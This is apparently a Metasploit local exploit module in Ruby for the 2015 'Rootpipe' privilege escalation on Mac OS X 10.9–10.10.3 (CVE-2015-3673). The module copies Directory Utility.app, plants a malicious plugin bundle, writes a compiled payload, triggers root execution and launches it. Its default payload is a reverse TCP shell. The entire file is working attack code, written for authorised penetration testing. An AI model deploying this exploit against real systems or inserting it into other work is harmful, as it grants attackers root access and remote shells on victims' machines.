Apple OS X Entitlements Rootpipe Privilege Escalation

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = GreatRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Apple OS X Entitlements Rootpipe Privilege Escalation',
      'Description'    => %q{
        This module exploits the rootpipe vulnerability and bypasses Apple's initial
        fix for the issue by injecting code into a process with the 'admin.writeconfig'
        entitlement.
      },
      'Author'         => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev'              # Copy/paste monkey
      ],
      'References'     => [
        ['CVE',   '2015-3673'],
        ['URL',   'https://truesecdev.wordpress.com/2015/07/01/exploiting-rootpipe-again/']
      ],
      'DisclosureDate' => '2015-07-01',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X64,
      'SessionTypes'   => ['shell'],
      'Privileged'     => true,
      'Targets'        => [
        ['Mac OS X 10.9-10.10.3', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD'         => 'osx/x64/shell_reverse_tcp',
        'PrependSetreuid' => true
      }
    ))

    register_options [
      OptString.new('WRITABLEDIR', [true, 'Writable directory', '/.Trashes'])
    ]
  end

  def base_dir
    datastore['WritableDir'].to_s
  end

  def check
    if ver? && is_admin?
      vprint_status("Version is between 10.9 and 10.10.3, and is admin.")
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit
    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless is_admin?
      fail_with Failure::NoAccess, "User is not in the 'admin' group, bailing."
    end

    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    unless writable? base_dir
      fail_with Failure::BadConfig, "#{base_dir} is not writable"
    end

    print_status("Copying Directory Utility.app to #{new_app}")
    cmd_exec("cp -R '/System/Library/CoreServices/Applications/Directory Utility.app' '#{new_app}'")
    cmd_exec("mkdir -p '#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS'")

    print_status("Writing bundle plist to `#{plist_file}'")
    write_file(plist_file, plist)

    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status("Writing malicious shared library to `#{exploit_file}'")
    write_file(exploit_file, plugin_exploit)

    print_status("Running Directory Utility.app")
    cmd_exec("/bin/sh -c 'PAYLOAD_IN=#{payload_file} PAYLOAD_OUT=#{root_file} #{new_app}/Contents/MacOS/Directory\\ Utility'")

    print_status("Deleting Directory Utility.app")
    cmd_exec("rm -Rf '#{new_app}'")

    print_status('Executing payload...')
    cmd_exec("/bin/sh -c '#{root_file} &'")
  end

  def ver?
    Rex::Version.new(get_sysinfo['ProductVersion']).between?(
      Rex::Version.new('10.9'), Rex::Version.new('10.10.3')
    )
  end

  def sploit
    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end

  def plugin_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2015-3673', 'exploit.daplug'
    ))
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def exploit_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/MacOS/RootpipeBundle"
  end

  def plist_file
    "#{new_app}/Contents/PlugIns/RootpipeBundle.daplug/Contents/Info.plist"
  end

  def new_app
    @app ||= "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}.app"
  end

  def plist
    %Q|
      <?xml version="1.0" encoding="UTF-8"?>
      <plist version="1.0">
      <dict>
        <key>CFBundleGetInfoString</key>
        <string>RootpipeBundle</string>
        <key>CFBundleExecutable</key>
        <string>RootpipeBundle</string>
        <key>CFBundleIdentifier</key>
        <string>com.root.pipe</string>
        <key>CFBundleName</key>
        <string>RootpipeBundle</string>
        <key>CFBundleShortVersionString</key>
        <string>0.01</string>
        <key>CFBundleInfoDictionaryVersion</key>
        <string>6.0</string>
        <key>CFBundlePackageType</key>
        <string>APPL</string>
        <key>IFMajorVersion</key>
        <integer>0</integer>
        <key>IFMinorVersion</key>
        <integer>1</integer>
      </dict>
      </plist>
    |
  end

  def payload_file
    @payload_file ||=
      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def root_file
    @root_file ||=
      "#{base_dir}/#{Rex::Text.rand_text_alpha(8)}"
  end
end